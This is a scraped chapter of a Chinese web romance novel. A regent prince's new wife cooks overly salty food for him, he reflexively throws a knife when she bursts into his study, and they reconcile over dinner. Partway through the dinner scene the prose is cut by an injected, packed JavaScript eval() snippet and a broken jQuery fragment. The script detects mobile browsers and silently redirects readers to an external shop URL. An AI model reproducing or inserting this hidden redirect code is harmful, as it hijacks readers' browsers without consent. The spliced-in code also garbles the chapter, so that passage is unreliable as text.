文趣网 > 其他小说 > 入宫后她被摄政王强夺了 > 9. 黑糊糊
    次日一早,谢容娇一起身便直奔小厨房,连嘉月都未能拦住。

    昨天自己误会了她,得有点补偿才行,如今又是他的王妃,理应给他做些他爱吃的。

    依稀记得他说,那馍馍打仗时吃都觉得是山珍海味,若是能亲手做给他,他定是欢喜的吧?

    萧临渊虽允了她用厨房,却明令须有仆妇在侧,且不得动明火刀俎。

    可谢容娇软磨硬泡,只留了嘉月和一个老实巴交的帮厨嬷嬷,将旁人皆屏退了。

    她依样画瓢地舀面、加水,却一下水多成糊,沾了满手;忙又加粉,干粉飞扬,扑得一脸一身。生火时被烟熏得泪眼汪汪,抬手去抹,更是满面花白。

    嘉月看得不忍,欲上前代劳,却被谢容娇执意拒绝:“既是我要为他做,自然得亲手来!”

    念着昨日那人提起馍馍时的神情,手下不停,心中却满是暖意。

    折腾近半个时辰,总算出锅。

    馍馍灰扑,卖相粗陋,她更是鬓发散乱,粉渍满襟,素色厨裙亦斑驳不堪。

    谢容娇捧着碟子,眉开眼笑,也顾不上换衣裳,顶着满脸面粉就往外跑。

    “王妃!脸还没擦……”嘉月在身后急唤。

    她匆匆摆手:“无妨,去去就回!”

    她一路小跑,穿廊过院,朝着萧临渊书房而去。

    守院侍卫听着身后嘉月王妃王妃的叫才认出是王妃娘娘,也不敢阻拦。

    一路小跑至书房,门扉虚掩。她腾不出手,以肘推门,兴冲冲跨入……

    “王爷!你看我给你做……”

    话音未落,寒光掠耳,几缕发丝飘落,一柄柳叶飞刀已钉入门框。

    “啊!”谢容娇惊叫手一松,碟碎馍滚,散落满地。

    萧临渊倏然起身,辨清来人后,眼底寒意化作错愕:“怎么是你?”

    谢容娇僵立原地,面色煞白,满腔欢喜被惊惧冲散。

    她低头看看地上滚脏的饼,又抬头看看门板上的飞刀,最后看向不远处那个冷脸男,眼圈倏地红了。

    泪珠滚落,混合着脸上的面粉,划出两道白色泪痕。

    “是你昨日说吃馍馍,我特意去做的,”她抽噎着,语无伦次,“我以为,你会喜欢……”

    萧临渊蹙眉,见她哭得花猫也似,语气不自觉地缓了下来:“怎么把自己弄成这副模样。”

    这话入耳却成了责备,谢容娇愈觉委屈气恼:“是你吓我!”

    她跺了跺脚,“你又这样,我再不给你做了!”语罢转身便跑。

    萧临渊伸手欲拦,指尖只掠过她袖角。那抹身影已消失在门外,徒留一地碎馍。

    嘉月此时方匆匆赶来,见门上飞刀与王爷神色,心下会意,连忙跪地请罪。

    萧临渊摆摆手:“去看顾王妃,助她整妆。这般模样在府中奔走,成何体统。”

    嘉月应声,正要收拾地上碎馍,却听他道:

    “王妃要紧。”

    她不敢多言,立刻转身去寻谢容娇。

    房内,谢容娇仍抽噎不止,任由侍女净面换衣,口中犹自嘟囔:“拿刀扔我又凶我,就是大王八……”

    嘉月边为她拭面,边温言劝慰:“王爷是警觉惯了,并非有意。况且,王妃做了那么多,糟蹋了多可惜。”

    谢容娇抽噎道:“是他不要的!都掉地上了!”

    “可您还有备着的呀。”嘉月抿唇一笑,“奴婢瞧着,灶上还放着好几块呢。方才王爷是没认出您来,您换好衣裳,再给王爷送去,方才只是误会,不是?”

    谢容娇哭声顿止,看着嘉月抿唇一笑,自食盒中取出另一碟,热气腾腾,码得齐整。

    揉了揉湿漉漉的眼想了想,自己做了那么多,总不能真糟蹋了。

    “那……那我再去一趟?”

    嘉月笑着点头:“奴婢陪您。”

    书房内,萧临渊负手临窗。

    地上碎馍仍在,无人敢收。

    “我可是专门做了你爱吃的!”少女气恼跑开的模样犹在眼前。

    他默然片刻,俯身拾起一块,拍去浮灰。

    饼面微焦,形貌粗陋,却透着一股笨拙的认真。

    行军那些年,干饼就雪,谁曾专门为他做过什么?

    连他自己都不曾在意的话,她倒记得。

    鬼使神差,他将饼凑近唇边,咬下一口。

    入口干硬,齁咸发涩。

    比记忆里军中的饼更咸。

    北境苦寒,朔风如刀,当年便是靠着这般死咸的饼,就雪和血,咽下去,攒着力气杀出一条生路。

    后来珍馐满案,却再未尝过那般滋味。

    萧临渊又咬了一口。

    这一次,咸味之后,似有别样滋味悄然泛上心头。

    他说不清,只觉唇角不由自主,微微扬起。

    书房的门虚掩着。

    谢容娇抱着新碟,探进半个脑袋,正瞧见萧临渊坐于案前,手中拿着她那块咸馍。

    一口一口,细细吃着。

    她揉了揉眼睛,怕是自己眼花,萧临渊那张永远冷着的脸上,竟有一丝笑。

    一旁的嘉月也看得怔住,小声道:“王妃您瞧,王爷是喜欢的。”

    这次不用嘉月哄,谢容娇心里乐开了花。

    她就说嘛,自己的厨艺一定能俘虏他的胃!

    ·

    入夜,小厨房灯火通明。

    谢容娇使出浑身解数整治出一席菜,只可惜手艺不佳,满桌黑糊糊,唯余一股浓烈咸味。

    她亲自端送,嘉月想帮忙,她执意不肯:“白日那馍馍是我自己做的,只有我知道油盐用量!”

    萧临渊被请至膳厅时,饶是见惯风浪,望着一桌黑糊糊,嘴角仍不禁抽了抽。

    谢容娇立在旁,眼睛亮晶晶望着他:“王爷,你试试!”

    萧临渊默然片刻,夹了一筷看不清为何物的菜。

    他做了十足准备送入口中,仍被咸得喉头一紧。瞥见女孩殷殷目光,他面不改色咽下,就了一口酒。

    谢容娇眼睛愈亮:“好吃吗?”

    女孩笑得明媚,他实不忍拂意,只得颔首。

    “你再尝尝这个!”

    “这个也好吃吗?”

    “还有这个!”

    她如雀儿般叽叽喳喳。萧临渊一口菜一口酒,勉强下咽。

    谢容娇心下美极……果真是要抓住男人的心,先抓住他的胃!

    “王爷怎么不说话?是不是太好吃了?”

    萧临渊抬眸,眼底掠过一丝戏谑:“你尝尝。”

    他一筷递至唇边:“不是问我好不好吃吗,你尝尝便知。”

    言之有理,自己忙活一下午,还未尝过。他吃了那么多,定然不错!

    她张口咬下。

    “唔……好咸!”咸得谢容娇眼泪当场飙出。

    萧临渊低笑出声,递过一杯茶。她咕咚灌下,这才冲淡咸味。

    “这般难吃,你怎不早说?”她红着眼瞪他。

    萧临渊挑眉:“说了你哭,不吃你也哭,不若让王妃自己尝尝,好歹这回不是本王逗哭的。”

    谢容娇语塞。望着他面前那壶将尽的清酒,方才明白他是不愿扫兴,硬生生就着酒咽下这许多。

    “怎忽然想起做饭?”他问。

    她嗫嚅道:“我瞧见你拾起地上那盘馍馍吃了,还笑了。”

    萧临渊一怔。

    她继续委屈道:“我头回见你那样笑,以为我做的东西你喜欢……”

    屋内静了下来。

    这世上讨好他的人多矣,送金银送美人送权势者,前赴后继。

    萧临渊倒是头一回见这般把自己弄得灰头土脸,炒出一桌黑糊糊逼他下咽的献礼法。

    无奈之余,倒真笑了出来。

    “你想讨本王开心,本王自然心领了。”

    谢容娇泪眼蒙胧中带着困惑。

    “只是……”萧临渊意犹未尽,身体前倾,拉近了两人的距离。

    他的目光落在她沾了点汤渍而润泽的唇瓣上,又移回她清澈见底的眼眸,“讨好人的法子,王妃用错了。”

    他身上清冽气息混着淡淡酒香袭来,谢容娇心跳漏了一拍,脸颊发热,小声问:“那该怎么办?”

    萧临渊不答反问:“你方才如何侍膳?”

    “就是夹菜啊。”

    “夹菜也有规矩。”他示意面前碟子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743651|209168||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“再夹一次。”

    谢容娇不明所以,乖乖夹了一筷菜放入他碟中。

    “不对。”

    萧临渊摇头,抬手握住她执筷的手腕。

    掌心温热,谢容娇腕间一颤,筷子险些跌落。

    “王,王爷……”

    “侍膳,当如是。”

    他握着她的手,引着那筷子菜移向自己唇边。两人距离倏然近至呼吸可闻,她衣袖扫过他面颊。

    他低头,从容地将她夹的菜含入口中。

    谢容娇如被烫到般猛地缩手,筷子落在桌上,发出清脆声响。

    她满脸涨红,垂眸不敢再看他。

    萧临渊慢慢咀嚼,目光却始终未离她。

    不知是否酒意上涌,他耳根亦微微发热。

    “如,如何?”她小声问,“真的有比刚才好吃一点吗?”

    少女羞窘无措,却仍执着于饭菜可口。

    他没有回答,反问:“你我都这般了,王妃心里还只惦记着吃食?”

    她还想再问,脸却更红,慌忙别过脸想收回手。

    “你莫戏弄我了。”

    萧临渊这样分明就是在相戏于她,见自己都这般了他也不说,谢容娇有点被逗恼了。

    她接着嘟囔道:“不好吃就是不好吃……我看你白天那个飞刀,是不是提前察觉故意扔的?”

    他只当是戏言,却不料她忽作怨语。

    却见女孩当真愈说愈委屈:“辛辛苦苦做了那么久,你一个飞刀全毁了。我头一回下厨,手都烫红了,你就这么对我……”

    说着,鼻尖又酸了。

    萧临渊沉默片刻,叹了口气,将她揽入怀中。

    谢容娇猝不及防跌进他怀里,便听头顶响起低沉声音:“不是故意的。”

    “我在军中多年,警觉成了习惯。身边亦不乏歹人,那日刺客你也瞧见了。”

    谢容娇仍有些不悦:“那也不能扔刀,多危险。”

    “北境苦寒,朔风如刀。当年行军打仗,稍有不慎便是死。多年习惯,一时难改。”

    谢容娇愣了愣,仰起小脸看他。

    萧临渊垂眸,四目相对:“还有那咸馍,军中素来如此,饮食厚油重盐,可速补气力,亦是习惯。”

    他顿了顿,手臂收紧了些,将她圈得更紧。

    “所以你做的,我很喜欢。”

    谢容娇怔住,眼眶又红了,这次却不是委屈。

    “好吧……不过那一下,可当真吓坏我了。”她小声嘟囔,却已没了恼意。

    萧临渊低头看她,目光柔和了几分。

    “白日之事,我向你赔罪。”

    谢容娇埋在他怀里,竟也能从这一向冷硬的齐王嘴里听出来歉意。

    不知怎的,虽是委屈,听着却别扭。

    怀里毛茸茸的小脑袋摇了摇:“夫妻之间没有对不起……所以你也不用道歉了。”

    萧临渊身体一顿,低头看她,眼底闪过一丝讶异。

    她蹭了蹭泪眼:“你以前说的,我记着呢。”

    萧临渊怔了片刻。

    他也记得,是大婚那日,那时的女孩又羞又怕,便是都吓晕了一场,不想也还记得。

    那只搂着她腰裙的手,默默攥紧那细腻的衣带。

    “好。”他低低地应了一声。

    “那我可得好好吃王妃给我准备的珍馐了。”

    说着,他作势要去夹菜。

    谢容娇连忙拦住:“别别别!不好吃,你别吃了!你喜欢咸口的,以后叫厨子做,这些太咸了,你伤还没好利索呢!”

    萧临渊挑眉看她:“方才不是还劝膳?”

    见他又是要调戏自己的模样,谢容娇红着脸伸手去夺他的筷子。

    萧临渊却顺势握住她的手。

    樱粉色的裙袖在他的胳膊上缠上一圈又一圈。

    “可本王觉得好吃。”他低声道,目光锁住她的眼眸。

    谢容娇一愣:“为什么?明明那么咸……”

    “不是菜的味道变了。”他低声开口,攥着她那片袖角,在手中缓缓摩挲,目光幽深地锁住她水光潋滟的眼眸。

    “是红袖添香,自然……滋味不同。”